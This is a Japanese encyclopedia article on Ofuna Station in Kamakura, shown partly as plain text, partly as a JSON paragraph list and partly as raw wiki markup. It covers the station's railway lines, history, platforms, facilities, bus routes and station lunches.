北改札側には全ホームにエレベーターと上り・下りそれぞれのエスカレーターが設置されている。南改札側にもエスカレーターは全ホームで設置されている。さらに、南北のコンコースと接続され、バリアフリー化が進んでいる。
JR東日本の駅では唯一の、フルカラーLEDを用いた10本分の列車発車時刻を表示する発車標がコンコースに設置されている。この発車標では東海道線・横須賀線・湘南新宿ラインの横浜方面の列車が発車時刻順に停車駅も併せて表示される。
(出典:JR東日本:駅構内図)
旅客ホーム1番線の西側には東海道貨物線の線路が通っている。貨物線上にホームはないが、構内北側で根岸線へ直通する単線の通路線(高架)が分岐しており、当駅より1kmほど北側で東海道線・横須賀線の線路を跨いで本郷台駅手前で根岸線と合流している。通路線を通過する列車は定期では無く、検測列車や臨時列車で稀に使用されるのみである。通路線は東海道貨物線合流部まで根岸線のキロ程となっている。
頭端式ホーム2面1線の高架駅。1本の線路の両側にホームが設置されており、乗降分離されている。湘南モノレールで最も乗降客数の多い駅であり、利用者が集中する朝通勤時には改札規制が行われることもある。
現在の駅舎は鎌倉市による大船駅東口第1種市街地再開発事業(第1地区)に伴い再構築されたもので、駅前交通広場や駅ビルと一体化された上で1992年9月に竣工している。出口は東側にあり、駅舎内部には自動券売機、自動改札機、自動精算機の他に当路線唯一の定期券発売窓口並びに販促グッズ発売窓口もある。旅客サービス設備としてコインロッカーが設置されているほか、東京電力エナジーパートナーと共同でモバイルバッテリーシェアリングサービス「充レン」を設置、車椅子対応の温水洗浄便座を装備した多機能トイレもある。自動体外式除細動器 (AED) も設置されている他、降車ホームには絵画作品等を展示するギャラリーボードが設置され、駅務室には中間駅の設備監視など行うシステムが整備されている。
JRの東口から駅ビル「ルミネウィング」を経て湘南モノレールの駅まで通路が続いており、駅ビルやJRの駅に設置のエスカレーターを使用して外部からモノレールの駅に到達できる。エレベーターは自治体設置のものが東口交通広場ペデストリアンデッキおよびJR駅東口正面に設置されている。
東側から以下の通り。
1966年5月から乗り入れていたドリーム交通モノレール大船線の駅は、日本国有鉄道(国鉄)の駅の北側に存在した。 1967年9月に運行休止となり、駅舎とホームは1990年代に撤去された。撤去直前の時期には駅舎内がアトリエとして利用されていたこともある。2003年9月に正式に廃線となり、2004年に軌道も撤去されている。
かつて存在した専用線。元旧日本軍の軍用施設への引き込み線が多い。大船工場専用線のように民生施設に転換されたり、大船PX専用線のように接収した米軍に使用されて存続したが、最後まで残った大船工場専用線が2006年(平成18年)に廃線となったことで全廃となった。
大船軒による 鯵の押寿司が当駅の名物である。コンコースの売店で販売をしている。また、日本の駅弁として最初にサンドイッチ弁当を売り出した。主な駅弁は下記の通り。
近年の1日平均乗降人員の推移は下記の通り(JRを除く)。
近年の1日平均乗車人員の推移は下記の通り。
江ノ電バスは「大船駅東口交通広場」停留所、京浜急行バスは「大船駅」停留所、空港リムジンは「大船駅東口」停留所にて発着する。いずれも東口ルミネウイング南側に整備されている交通広場内にある乗り場である。
神奈川中央交通は「大船駅」停留所、江ノ電バスや株式会社共同は「大船駅東口」停留所にて発着する。
どちらも笠間口前にあるバスターミナル。1983年(昭和58年)4月のバスターミナル開設時以来、南側交差点を出口とする一方通行型だった。駅前再開発の進展にともない再整備され、2019年(平成31年)3月16日から北側交差点を出入口とする周回型に改められ、乗り場の場所および乗り場における発着路線が変更された。
また、1991年までは横浜市営バス港南営業所管轄による40系統が乗り入れており、それ以前も2系統が横浜駅より乗り入れていたが、横浜市内均一運賃区間外で対キロ制運賃制度区間エリアだったこと、神奈中・江ノ電が既に大多数を占めていたことから撤退した。
「大船駅西口」停留所にて、以下の路線が発着する。柏尾川の対岸にある、2011年10月1日に供用開始した交通広場に乗り場がある。それまでは県道402号上にバス停が設置されていた。 | [
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"paragraph_id": 9,
"tag": "p",
"text": "駅構内を覆うように駅ナカ商業施設「アトレ大船」(旧「Dila大船」)があり、書店や飲食店などが軒を連ねる。",
"title": "駅構造"
},
{
"paragraph_id": 10,
"tag": "p",
"text": "北改札側には全ホームにエレベーターと上り・下りそれぞれのエスカレーターが設置されている。南改札側にもエスカレーターは全ホームで設置されている。さらに、南北のコンコースと接続され、バリアフリー化が進んでいる。",
"title": "駅構造"
},
{
"paragraph_id": 11,
"tag": "p",
"text": "JR東日本の駅では唯一の、フルカラーLEDを用いた10本分の列車発車時刻を表示する発車標がコンコースに設置されている。この発車標では東海道線・横須賀線・湘南新宿ラインの横浜方面の列車が発車時刻順に停車駅も併せて表示される。",
"title": "駅構造"
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{
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"tag": "p",
"text": "(出典:JR東日本:駅構内図)",
"title": "駅構造"
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{
"paragraph_id": 13,
"tag": "p",
"text": "旅客ホーム1番線の西側には東海道貨物線の線路が通っている。貨物線上にホームはないが、構内北側で根岸線へ直通する単線の通路線(高架)が分岐しており、当駅より1kmほど北側で東海道線・横須賀線の線路を跨いで本郷台駅手前で根岸線と合流している。通路線を通過する列車は定期では無く、検測列車や臨時列車で稀に使用されるのみである。通路線は東海道貨物線合流部まで根岸線のキロ程となっている。",
"title": "駅構造"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "頭端式ホーム2面1線の高架駅。1本の線路の両側にホームが設置されており、乗降分離されている。湘南モノレールで最も乗降客数の多い駅であり、利用者が集中する朝通勤時には改札規制が行われることもある。",
"title": "駅構造"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "現在の駅舎は鎌倉市による大船駅東口第1種市街地再開発事業(第1地区)に伴い再構築されたもので、駅前交通広場や駅ビルと一体化された上で1992年9月に竣工している。出口は東側にあり、駅舎内部には自動券売機、自動改札機、自動精算機の他に当路線唯一の定期券発売窓口並びに販促グッズ発売窓口もある。旅客サービス設備としてコインロッカーが設置されているほか、東京電力エナジーパートナーと共同でモバイルバッテリーシェアリングサービス「充レン」を設置、車椅子対応の温水洗浄便座を装備した多機能トイレもある。自動体外式除細動器 (AED) も設置されている他、降車ホームには絵画作品等を展示するギャラリーボードが設置され、駅務室には中間駅の設備監視など行うシステムが整備されている。",
"title": "駅構造"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "JRの東口から駅ビル「ルミネウィング」を経て湘南モノレールの駅まで通路が続いており、駅ビルやJRの駅に設置のエスカレーターを使用して外部からモノレールの駅に到達できる。エレベーターは自治体設置のものが東口交通広場ペデストリアンデッキおよびJR駅東口正面に設置されている。",
"title": "駅構造"
},
{
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"text": "東側から以下の通り。",
"title": "駅構造"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "1966年5月から乗り入れていたドリーム交通モノレール大船線の駅は、日本国有鉄道(国鉄)の駅の北側に存在した。 1967年9月に運行休止となり、駅舎とホームは1990年代に撤去された。撤去直前の時期には駅舎内がアトリエとして利用されていたこともある。2003年9月に正式に廃線となり、2004年に軌道も撤去されている。",
"title": "駅構造"
},
{
"paragraph_id": 19,
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"text": "かつて存在した専用線。元旧日本軍の軍用施設への引き込み線が多い。大船工場専用線のように民生施設に転換されたり、大船PX専用線のように接収した米軍に使用されて存続したが、最後まで残った大船工場専用線が2006年(平成18年)に廃線となったことで全廃となった。",
"title": "駅構造"
},
{
"paragraph_id": 20,
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"text": "大船軒による 鯵の押寿司が当駅の名物である。コンコースの売店で販売をしている。また、日本の駅弁として最初にサンドイッチ弁当を売り出した。主な駅弁は下記の通り。",
"title": "駅弁"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "近年の1日平均乗降人員の推移は下記の通り(JRを除く)。",
"title": "利用状況"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "近年の1日平均乗車人員の推移は下記の通り。",
"title": "利用状況"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "江ノ電バスは「大船駅東口交通広場」停留所、京浜急行バスは「大船駅」停留所、空港リムジンは「大船駅東口」停留所にて発着する。いずれも東口ルミネウイング南側に整備されている交通広場内にある乗り場である。",
"title": "バス路線"
},
{
"paragraph_id": 24,
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"text": "神奈川中央交通は「大船駅」停留所、江ノ電バスや株式会社共同は「大船駅東口」停留所にて発着する。",
"title": "バス路線"
},
{
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"tag": "p",
"text": "どちらも笠間口前にあるバスターミナル。1983年(昭和58年)4月のバスターミナル開設時以来、南側交差点を出口とする一方通行型だった。駅前再開発の進展にともない再整備され、2019年(平成31年)3月16日から北側交差点を出入口とする周回型に改められ、乗り場の場所および乗り場における発着路線が変更された。",
"title": "バス路線"
},
{
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"text": "また、1991年までは横浜市営バス港南営業所管轄による40系統が乗り入れており、それ以前も2系統が横浜駅より乗り入れていたが、横浜市内均一運賃区間外で対キロ制運賃制度区間エリアだったこと、神奈中・江ノ電が既に大多数を占めていたことから撤退した。",
"title": "バス路線"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "「大船駅西口」停留所にて、以下の路線が発着する。柏尾川の対岸にある、2011年10月1日に供用開始した交通広場に乗り場がある。それまでは県道402号上にバス停が設置されていた。",
"title": "バス路線"
}
]
| 大船駅(おおふなえき)は、神奈川県鎌倉市大船一丁目にある、東日本旅客鉄道(JR東日本)・湘南モノレールの駅である。 鎌倉市と横浜市の境界上に位置し、JRホームの北半分および笠間口は横浜市栄区笠間一丁目に位置する。両市の中心市街地とは離れているものの、鉄道を中心とした交通の要衝となっており、東口側を中心に駅前市街地が形成されている。 | {{駅情報
|駅名 = 大船駅
|よみがな = おおふな
|ローマ字 = Ōfuna
|所在地 = [[神奈川県]][[鎌倉市]][[大船]]一丁目
|所属事業者 = {{Plainlist|
* [[東日本旅客鉄道]](JR東日本・[[#JR東日本|駅詳細]])
* [[湘南モノレール]]([[#湘南モノレール|駅詳細]])}}
|画像 = OfunaStkasamaguchi.jpg
|pxl = 300
|画像説明 = 笠間口(2006年2月)
|地図 = {{maplink2|frame=yes|zoom=15|frame-width=300|plain=yes|frame-align=center
|type=point|type2=point
|marker=rail|marker2=rail
|coord={{coord|35|21|13|N|139|31|52|E}}|marker-color=008000|title=JR 大船駅
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|frame-latitude=35.353188|frame-longitude=139.531205
}}
}}
{{座標一覧}}
'''大船駅'''(おおふなえき)は、[[神奈川県]][[鎌倉市]][[大船]]一丁目にある、[[東日本旅客鉄道]](JR東日本)・[[湘南モノレール]]の[[鉄道駅|駅]]である。
鎌倉市と横浜市の境界上に位置し、JRホームの北半分および笠間口は[[横浜市]][[栄区]][[笠間 (横浜市)|笠間]]一丁目に位置する。両市の中心市街地とは離れているものの、鉄道を中心とした交通の要衝となっており、東口側を中心に駅前市街地が形成されている。
== 乗り入れ路線 ==
JR東日本の各線(後述)と、湘南モノレールの[[湘南モノレール江の島線|江の島線]]が乗り入れている。湘南モノレール江の島線は当駅が起点である。
* JR東日本:各線(後述) - [[駅ナンバリング#スリーレターコード|スリーレターコード]]「{{駅番号|#000000|white|OFN}}」
* 湘南モノレール:{{Color|red|■}}[[湘南モノレール江の島線|江の島線]] - 駅番号「'''SMR1'''」
JR東日本の駅には、線路名称上は[[東海道本線]]・[[横須賀線]]・[[根岸線]]の3路線が乗り入れており、このうち東海道本線を当駅の[[日本の鉄道駅#所属線|所属線]]としている<ref>{{Cite book|和書|author=石野哲 編 |title=停車場変遷大事典 |publisher=JTB |year=1998.10 |page= |isbn=4533029809}}</ref>。根岸線は当駅が終点となっており、大半の列車が[[横浜駅]]から[[京浜東北線]]へ、さらに朝晩の一部は[[横浜線]]へ直通する。横須賀線に関しては、線路名称上は当駅が起点であるが、運転系統としては当駅から東海道本線[[横浜駅|横浜]]・[[東京駅|東京]]方面の専用線路に乗り入れており、[[藤沢駅]]方面へ乗り入れる[[東海道線 (JR東日本)|東海道線]]列車よりも停車駅が多く設定されている。
* [[File:JR JT line symbol.svg|15px|JT]] [[東海道線 (JR東日本)|東海道線]]:東海道本線当駅以西の[[藤沢駅]]・[[小田原駅]]方面に直通する[[中距離電車]]([[湘南電車]])。[[東京駅]]発着系統と、東京駅・[[上野駅]]経由で[[宇都宮線]]・高崎線に直通する[[上野東京ライン]]が運行されている。 - [[駅ナンバリング#JR東日本・東京モノレール・東京臨海高速鉄道|駅番号]]「'''JT 07'''」
* [[File:JR JO line symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀線]]:東海道本線([[品鶴線]]経由)を経て、下り列車は当駅より線路名称上の横須賀線を走る。上り列車は多くの列車が東京駅を経由し、[[横須賀・総武快速線|総武快速線]]へ直通する。 - 駅番号「'''JO 09'''」
* [[File:JR JS line symbol.svg|15px|JS]] [[湘南新宿ライン]]:東海道本線(品鶴線経由)を経て、戸塚駅から[[西大井駅]]まで横須賀線と同一の線路を使用し、[[新宿駅]]経由で東海道線と高崎線間、横須賀線と宇都宮線間をそれぞれ直通する。 - 駅番号「'''JS 09'''」
* [[File:JR JK line symbol.svg|15px|JK]] [[根岸線]]:当駅から[[根岸駅 (神奈川県)|根岸駅]]を経て起点である横浜駅へと結ぶ近距離電車で、横浜駅から東海道本線東京駅方面へ走る[[京浜東北線]]とほとんどの電車が直通運転を行っている。 - 駅番号「'''JK 01'''」
* [[File:JR JH line symbol.svg|15px|JH]] [[横浜線]]:横浜線の起点は東海道本線[[東神奈川駅]]であるが、平日の下り2本・上り3本、土休日の3往復のみが当駅まで直通する。
JR東日本の駅に停車する[[優等列車]]は、東京と[[伊豆半島|伊豆]]を結ぶ東海道線の特急「[[踊り子 (列車)|踊り子]]」および東京都心と湘南地区間の通勤客をターゲットとした特急「[[湘南 (列車)|湘南]]」が一部停車し、横須賀線では[[成田国際空港]]への[[空港連絡鉄道|アクセス列車]]である「[[成田エクスプレス]]」の始発・終着駅となっている。[[普通列車]]は、東海道線の快速「アクティー」・普通、横須賀線の普通、湘南新宿ラインの特別快速・快速・普通、根岸線の快速・各駅停車の全列車が停車するほか、2015年3月のダイヤ改正以前は横須賀線の「おはようライナー逗子」「ホームライナー逗子」も停車していた。
[[1966年]]5月からは[[ドリーム開発ドリームランド線|ドリーム交通モノレール大船線]]が乗り入れていたが、[[1967年]]9月に運行休止、[[2003年]]9月に正式に[[廃線]]となった。
== 歴史 ==
[[File:Oofuna1958.png|thumb|1958年の大船駅東口]]
* [[1888年]]([[明治]]21年)[[11月1日]]:[[東海道本線|官設鉄道]]の駅として開業。[[旅客]]取り扱いのみの旅客駅。
** 旧東海道沿いに駅を置くべきとの意見が明治新政府内部であり、最後まで大船駅設置については紛糾した。駅の正面は西側(現在の観音側)だった。
* [[1889年]](明治22年)[[6月16日]]:横須賀線が[[横須賀駅]]まで開通。分岐駅となる。
* [[1894年]](明治27年)[[5月25日]]:[[鉄道貨物|貨物]]取り扱いを開始。
* [[1898年]](明治31年)[[5月16日]]:[[大船軒]]が営業を開始<ref name="ofunaken-about">[http://www.ofunaken.co.jp/page002.html 大船軒会社情報]</ref>。
* [[1917年]]([[大正]]6年)5月:駅改築<ref name="ofuna70">冊子『大船駅七十年』(大船駅、1958年11月1日、総ページ数38){{NCID|BB19184555}}</ref>
* [[1923年]]([[大正]]12年)[[9月1日]]:[[関東大震災]]により、[[ランプ小屋]]を除き施設全て倒壊、または大破損。死傷者多数<ref name="JNRsinsai">{{Cite book|和書|author=鉄道省|authorlink=鉄道省|title=国有鉄道震災誌|year=1927|publisher=鉄道省|NCID=BN16026406}}{{NDLJP|1869382}} ※1990年、大正期鉄道史資料第II期第1巻として日本経済評論社が復刻版を刊行{{ISBN2|481880407X}}。大船駅に関する部分は『大船駅七十年』に引用されている。</ref>。
** [[9月10日]]:給水設備がすべて崩壊し蒸気機関車の運転に必要な水が供給不能となったため、駅構内の砂押川橋上に木製水槽とポンプを積載した無蓋貨車を据え付け、川の水を汲み上げる仮給水設備を設置。[[10月21日]]の給水槽の復旧まで使用した<ref>{{Cite book|和書|author=内田宗治|title=関東大震災と鉄道|publisher=新潮社|year=2012.7|page=102|isbn=978-4103325611}}</ref><ref name="JNRsinsai" />。
* [[1925年]](大正15年)
** [[8月2日]]:駅本屋震災復旧工事竣工<ref name="ofuna70" />。
** 10月:駅本屋、各ホーム、A口(東口のこと)を結ぶ跨線橋竣工。長さ91.1m。1958年時点でも使用<ref name="ofuna70" />。
** [[11月15日]]:A口開業<ref name="ofuna70" />。
* [[1944年]](昭和19年)[[3月1日]]:田立構内完成<ref name="ofuna70" />。
* [[1947年]]([[昭和]]22年)1月:大井工機部大船分工場(後の[[東日本旅客鉄道大船工場|大船工場]])専用線使用開始。南部構内から分岐<ref name="ofuna70" />。
* [[1950年]](昭和25年)
** 1月:東海道線電車運転に備え、ホーム嵩上げ<ref name="ofuna70" />。
** 9月:A口改築竣工<ref name="ofuna70" />。
** [[12月25日]]:大船PX(旧[[第1海軍燃料廠]])専用線使用開始。
*** [[朝鮮戦争]]時には1日の貨車総扱数が100両に達したこともあったが、1958年には1日2両程度に激減しているという<ref name="ofuna70" />。
* [[1955年]](昭和30年)[[10月5日]]:東洋高圧専用線使用開始、実線延長61m、有効長35m。田立構内9番線から分岐。到着したタンク車からガソリンを直接会社に送油管で送っていた。
* [[1958年]](昭和33年)[[3月30日]]:全(第1-3)ホームを結ぶ乗換跨線橋竣工、4月1日から使用開始。長さ32m<ref name="ofuna70" />。
* [[1966年]](昭和41年)[[5月2日]]:[[ドリーム開発ドリームランド線|ドリーム交通モノレール大船線]]が[[ドリームランド駅]]まで開通。
* [[1967年]](昭和42年)[[9月24日]]:モノレール大船線が休止(2003年に正式廃止)。
* [[1968年]](昭和43年)[[6月16日]]:大船駅付近で横須賀線電車が車内に仕掛けられた爆弾によって破壊される事件が発生([[横須賀線電車爆破事件]])。
* [[1970年]](昭和45年)
** [[3月7日]]:湘南モノレール江の島線が[[西鎌倉駅]]まで開通<ref name="sone30">{{Cite book|和書 |author=曽根悟(監修)|authorlink=曽根悟 |title=週刊 歴史でめぐる鉄道全路線 公営鉄道・私鉄 |editor=朝日新聞出版分冊百科編集部 |publisher=[[朝日新聞出版]] |series=週刊朝日百科 |volume=30号 モノレール・新交通システム・鋼索鉄道 |date=2011-10-16 |page=8 }}</ref>。
** [[4月6日]]:橋上駅舎化工事に伴い、跨線橋が従来より80m東京寄りに移動<ref>{{Cite news |和書|title=大船駅の跨線橋が完成 |newspaper=[[交通新聞]] |publisher=交通協力会 |date=1970-04-07 |page=2 }}</ref>。
* [[1971年]](昭和46年)[[4月1日]]:橋上駅舎完成式<ref name="ofunaken-about"/>。
* [[1972年]](昭和47年)[[8月24日]]:国鉄駅での貨物取り扱いを廃止。ただし、住友電工横浜製作所および[[住友セメント]]サイロまでの[[専用鉄道|専用線]]の貨物は[[湘南貨物駅]]扱いで1984年まで存続。
* [[1973年]](昭和48年)
** [[3月1日]]:旅行センター開業<ref>交通年鑑昭和49年度内「交通日誌」</ref>。
** [[4月9日]]:根岸線が[[洋光台駅]]から延伸開業。
* [[1980年]](昭和55年)[[10月1日]]:東京 - 大船間の東海道線と横須賀線が分離運転(SM分離)。
* [[1984年]](昭和59年)期日不明:住友電工専用線、住友セメント専用線廃止。
* [[1986年]](昭和61年)11月1日:国鉄駅での[[チッキ|荷物]]取り扱いを廃止。
* [[1987年]](昭和62年)4月1日:[[国鉄分割民営化]]に伴い、国鉄の駅は東日本旅客鉄道(JR東日本)の駅となる。
* [[1992年]]([[平成]]4年)[[9月18日]]:駅ビル[[ルミネ|ルミネウイング]]開業<ref name="kotsu19920916">{{Cite news |title=ルミネウイング18日開業 |newspaper=[[交通新聞]] |publisher=交通新聞社 |date=1992-09-16 |page=1 }}</ref>。
* [[1993年]](平成5年)5月25日:JR東日本の駅に自動改札機を設置<ref>{{Cite book|和書 |date=1994-07-01 |title=JR気動車客車編成表 '94年版 |chapter=JR年表 |page=186 |publisher=ジェー・アール・アール |ISBN=4-88283-115-5}}</ref>。
* [[2001年]](平成13年)[[11月18日]]:JR東日本の駅で[[ICカード]]「[[Suica]]」の利用が可能となる。
* [[2006年]](平成18年)
** [[2月2日]]:北改札および笠間口を新設。
** [[3月31日]]:大船工場専用線廃止。
* [[2007年]](平成19年)4月9日:Dila大船がグランドオープン。
* [[2011年]](平成23年)9月1日:西口歩行者デッキオープン。
* [[2016年]](平成28年)[[12月5日]]:Dila大船がリニューアルし、[[アトレ#アトレ|アトレ大船]]として再グランドオープン。
* [[2018年]](平成30年)4月1日:湘南モノレールの駅でICカード「[[PASMO]]」の利用が可能となる<ref>{{Cite press release|和書|url=https://www.shonan-monorail.co.jp/news/upload/6e89ccf670b822069f4089a4a3df5e6396c7c7fd.pdf|archiveurl=https://web.archive.org/web/20200607042603/https://www.shonan-monorail.co.jp/news/upload/6e89ccf670b822069f4089a4a3df5e6396c7c7fd.pdf|format=PDF|language=日本語|title=交通系ICカード「PASMO」導入について 〜本年4月1日(日)始発よりサービス開始〜|publisher=湘南モノレール|date=2018-02-05|accessdate=2020-07-28|archivedate=2020-06-07}}</ref>。
* [[2019年]]([[令和]]元年)[[7月1日]]:北改札の駅業務を[[JR東日本ステーションサービス]](JESS)に委託<ref name="outsourcing">{{Cite web|和書|url=http://www.jreu-yokohama1.jp/library/5b8fc5fcb8e028f93a2e85f2/5c5c03ba2590a9bb7896f3c6.pdf|archiveurl=https://web.archive.org/web/20200728154445/http://www.jreu-yokohama1.jp/library/5b8fc5fcb8e028f93a2e85f2/5c5c03ba2590a9bb7896f3c6.pdf|title=新たな営業施策の提案を受けました!|archivedate=2020-07-28|date=2019-02-07|accessdate=2020-07-28|publisher=JR東労組横浜地本|format=PDF|language=日本語}}</ref>。
* [[2020年]](令和2年)[[3月31日]]:[[びゅうプラザ]]の営業を終了<ref>{{Cite web|和書|url=https://www.jreast.co.jp/estation/station/info.aspx?StationCD=342|title=駅の情報(大船駅):JR東日本|accessdate=2020-03-24|publisher=東日本旅客鉄道|archiveurl=https://archive.vn/uF9tT|archivedate=2020-03-24}}</ref><ref>{{Cite web|和書|url=http://www.jreu-yokohama1.jp/library/5b8fc5fcb8e028f93a2e85f2/5cb02d8339e5d38b17723321.pdf|archiveurl=https://web.archive.org/web/20200728155228/http://www.jreu-yokohama1.jp/library/5b8fc5fcb8e028f93a2e85f2/5cb02d8339e5d38b17723321.pdf|title=びゅうプラザにおける店舗運営の見直しについて提案を受けました!|archivedate=2020-07-28|date=2019-04-12|accessdate=2020-07-28|publisher=JR東労組横浜地本|format=PDF|language=日本語}}</ref>。
* [[2021年]](令和3年)[[2月28日]]:[[我孫子駅 (千葉県)|我孫子駅]]まで到達する[[踊り子 (列車)|踊り子]]が廃止。
<gallery>
Ofuna Station Kanto Daishinsai.jpg|関東大震災で被災した駅構内
OfunaStation1958Main building.jpg|1958年頃の駅本屋(1925年竣工)
OfunaStation1958 east entrance.jpg|1958年頃の東口
OfunaStation1958Stamp.jpg|[[1958年]][[11月1日]]、大船駅70周年記念に作成された[[駅スタンプ]]。[[大船観音寺|大船観音]]、鎌倉市章、松竹大船撮影所のマーク、[[瑜伽洞]](田谷の洞窟)と鳥居があしらわれている。大船観音(当時未完成)は民営化後の駅スタンプにも継承されている。
Ofuna-Station Rail Tracks map1958-04.jpg|構内配線図(1958年4月)
1950_625A2864-D62C-4784-AF6B-7D392AB8E661.jpg|1950年の大船駅航空写真
</gallery>
== 駅構造 ==
=== JR東日本 ===
{{駅情報
|社色 = #008000
|文字色 =
|駅名 = JR 大船駅
|画像 = JRofunastation.png
|pxl = 300
|画像説明 = 西口(2022年3月)
|よみがな = おおふな
|ローマ字 = Ōfuna<br /> {{駅番号s|black|#ffffff|OFN}}<!--スリーレターコード-->
|電報略号 = フナ
|所属事業者 = [[東日本旅客鉄道]](JR東日本)
|所在地 = [[神奈川県]][[鎌倉市]][[大船]]一丁目1-1{{Refnest|group="*"|正式な所在地。ホームの北半分および笠間口は[[横浜市]][[栄区]]笠間一丁目にまたがる。}}
|座標 = {{coord|35|21|13|N|139|31|52|E|region:JP_type:railwaystation|display=inline,title|name=JR 大船駅}}
|開業年月日 = [[1888年]]([[明治]]21年)[[11月1日]]
|駅構造 = [[地上駅]]([[橋上駅]])
|ホーム = 5面10線
|廃止年月日 =
|乗車人員 = 84,249
|統計年度 = 2022年
|乗入路線数 = 4
|所属路線1 = {{Color|#f68b1e|■}}[[東海道線 (JR東日本)|東海道線]]{{Refnest|group="*"|name="yokosuka-tokaido"|線路名称上は、北鎌倉方は[[横須賀線]]、その他はいずれも[[東海道本線]]。}}<br />{{Color|#f68b1e|■}}{{color|#0067c0|■}}[[湘南新宿ライン]]([[高崎線]]直通)<ref group="*" name="yokosuka-tokaido" />
|前の駅1 = JT 06 JS 10 [[戸塚駅|戸塚]]
|駅間A1 = 5.6
|駅間B1 = 4.6
|次の駅1 = [[藤沢駅|藤沢]] JT 08
|駅番号1 = {{駅番号r|JT|07|#f68b1e|1}}<br />{{駅番号r|JS|09|#e21f26|1}}
|キロ程1 = 46.5
|起点駅1 = [[東京駅|東京]]
|所属路線2 = {{color|#0067c0|■}}[[横須賀・総武快速線|横須賀線]]<ref group="*" name="yokosuka-tokaido" /><br />{{Color|#f68b1e|■}}{{color|#0067c0|■}}湘南新宿ライン([[宇都宮線]]直通)<ref group="*" name="yokosuka-tokaido" />
|前の駅2 = JO 10 JS 10 戸塚
|駅間A2 = 5.6
|駅間B2 = 2.3
|次の駅2 = [[北鎌倉駅|北鎌倉]] JO 08 JS 08
|駅番号2 = {{駅番号r|JO|09|#0067c0|1}}<br />{{駅番号r|JS|09|#e21f26|1}}
|キロ程2 = 0.0 km(大船起点)<br />東京から[[品鶴線]]経由で49.4
|起点駅2 =
|所属路線3 = {{color|#00b2e5|■}}[[根岸線]]
|前の駅3 = JK 02 [[本郷台駅|本郷台]]
|駅間A3 = 3.6
|駅間B3 =
|次の駅3 =
|駅番号3 = {{駅番号r|JK|01|#00b2e5|1}}
|キロ程3 = 22.1 km([[横浜駅|横浜]]起点)<br />[[大宮駅 (埼玉県)|大宮]]から81.2 km<br />[[八王子駅|八王子]]から66.5
|備考 = {{Plainlist|
* [[日本の鉄道駅#直営駅|直営駅]]([[日本の鉄道駅#管理駅|管理駅]])
* [[みどりの窓口]] 有}}
|備考全幅 = {{Reflist|group="*"}}
}}
[[島式ホーム]]5面10線を有する[[地上駅]]。駅の藤沢寄りと戸塚寄りにそれぞれ[[橋上駅|橋上駅舎]]が置かれ、[[改札]]内の通路で結ばれている。2つの駅舎の間を流れる砂押川に市境があり、駅舎の所在地は藤沢寄りが[[鎌倉市]]、戸塚寄りが[[横浜市]][[栄区]]となるが、駅長室が従来からの鎌倉市側の駅舎に存在するために鎌倉市の駅となっており、[[特定都区市内]]の「横浜市内」には含まれない。
藤沢寄りの駅舎には南改札があり、東口と西口に通じている。また駅ビル内や駅ビル脇の通路からは湘南モノレールの駅に通じている。[[日本の鉄道駅#直営駅|直営駅]]([[駅長]]配置)であり、[[日本の鉄道駅#管理駅|管理駅]]として[[洋光台駅]] - [[本郷台駅]]を管理している。[[みどりの窓口]]が設置されている。
戸塚寄りの駅舎には北改札があり、笠間口に通じている。この駅舎は栄区側を中心とした住民の運動により建設され、[[2006年]][[2月2日]]に供用を開始した。この駅舎にはみどりの窓口は設置されていないが、[[指定券発売機]]が設置されている。また、[[2019年]][[7月1日]]から、この改札の駅業務は[[JR東日本ステーションサービス]](JESS)に委託されている<ref name="outsourcing"/>。
駅構内を覆うように[[駅ナカ]]商業施設「[[アトレ#アトレ|アトレ大船]]」(旧「[[Dila#Dila大船|Dila大船]]」)があり、書店や飲食店などが軒を連ねる。
北改札側には全ホームに[[エレベーター]]と上り・下りそれぞれの[[エスカレーター]]が設置されている。南改札側にもエスカレーターは全ホームで設置されている。さらに、南北の[[コンコース]]と接続され、[[バリアフリー]]化が進んでいる。
JR東日本の駅では唯一の、フルカラーLEDを用いた10本分の列車発車時刻を表示する[[発車標]]がコンコースに設置されている。この発車標では東海道線・横須賀線・湘南新宿ラインの横浜方面の列車が発車時刻順に停車駅も併せて表示される。
<gallery>
Ofuna-LED-Fullcolor.jpg|東京都心方面10本分の列車発車時刻を表示する[[発車標]](2016年3月)
JR Ofuna Station North Gates.jpg|北改札(2019年6月)
JR Ofuna Station South Gates-2.jpg|南改札(2019年6月)
OfunaStnishi.jpg|かつての西口の様子(2006年2月)
</gallery>
==== のりば ====
<!--方面表記は、JR東日本の「駅構内図」の記載に準拠-->
{| class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!方向!!行先
|-
!rowspan="3"|1・2
|[[File:JR JT line symbol.svg|15px|JT]] 東海道線
|rowspan="2" style="text-align:center;"|上り
|rowspan="3"|[[横浜駅|横浜]]・[[品川駅|品川]]・[[東京駅|東京]]・[[上野駅|上野]]・[[渋谷駅|渋谷]]・[[新宿駅|新宿]]方面
|-
|[[File:JR JT line symbol.svg|15px|JT]] [[上野東京ライン]]
|-
|[[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
|style="text-align:center;"|北行
|-
!3・4
|[[File:JR JT line symbol.svg|15px|JT]] 東海道線
|style="text-align:center;"|下り
|[[藤沢駅|藤沢]]・[[平塚駅|平塚]]・[[小田原駅|小田原]]・[[熱海駅|熱海]]方面
|-
!rowspan="2"|5・6
|[[File:JR JO line symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀・総武線(快速)]]
|style="text-align:center;"|上り
|横浜・東京・[[千葉駅|千葉]]・[[成田空港駅|成田空港]]方面<!--空港アイコンは[[プロジェクト:鉄道#過剰なマークアップは控える]]より、使用は非推奨--><br />{{color|#0067c0|■}}特急「[[成田エクスプレス]]」
|-
|[[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
|style="text-align:center;"|北行
|渋谷・新宿・[[大宮駅 (埼玉県)|大宮]]方面
|-
!rowspan="2"|7
|[[File:JR JO line symbol.svg|15px|JO]] 横須賀線
|style="text-align:center;"|下り
|[[鎌倉駅|鎌倉]]・[[逗子駅|逗子]]・[[横須賀駅|横須賀]]・[[久里浜駅|久里浜]]方面
|-
|[[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
|style="text-align:center;"|北行
|渋谷・新宿・大宮方面
|-
!8
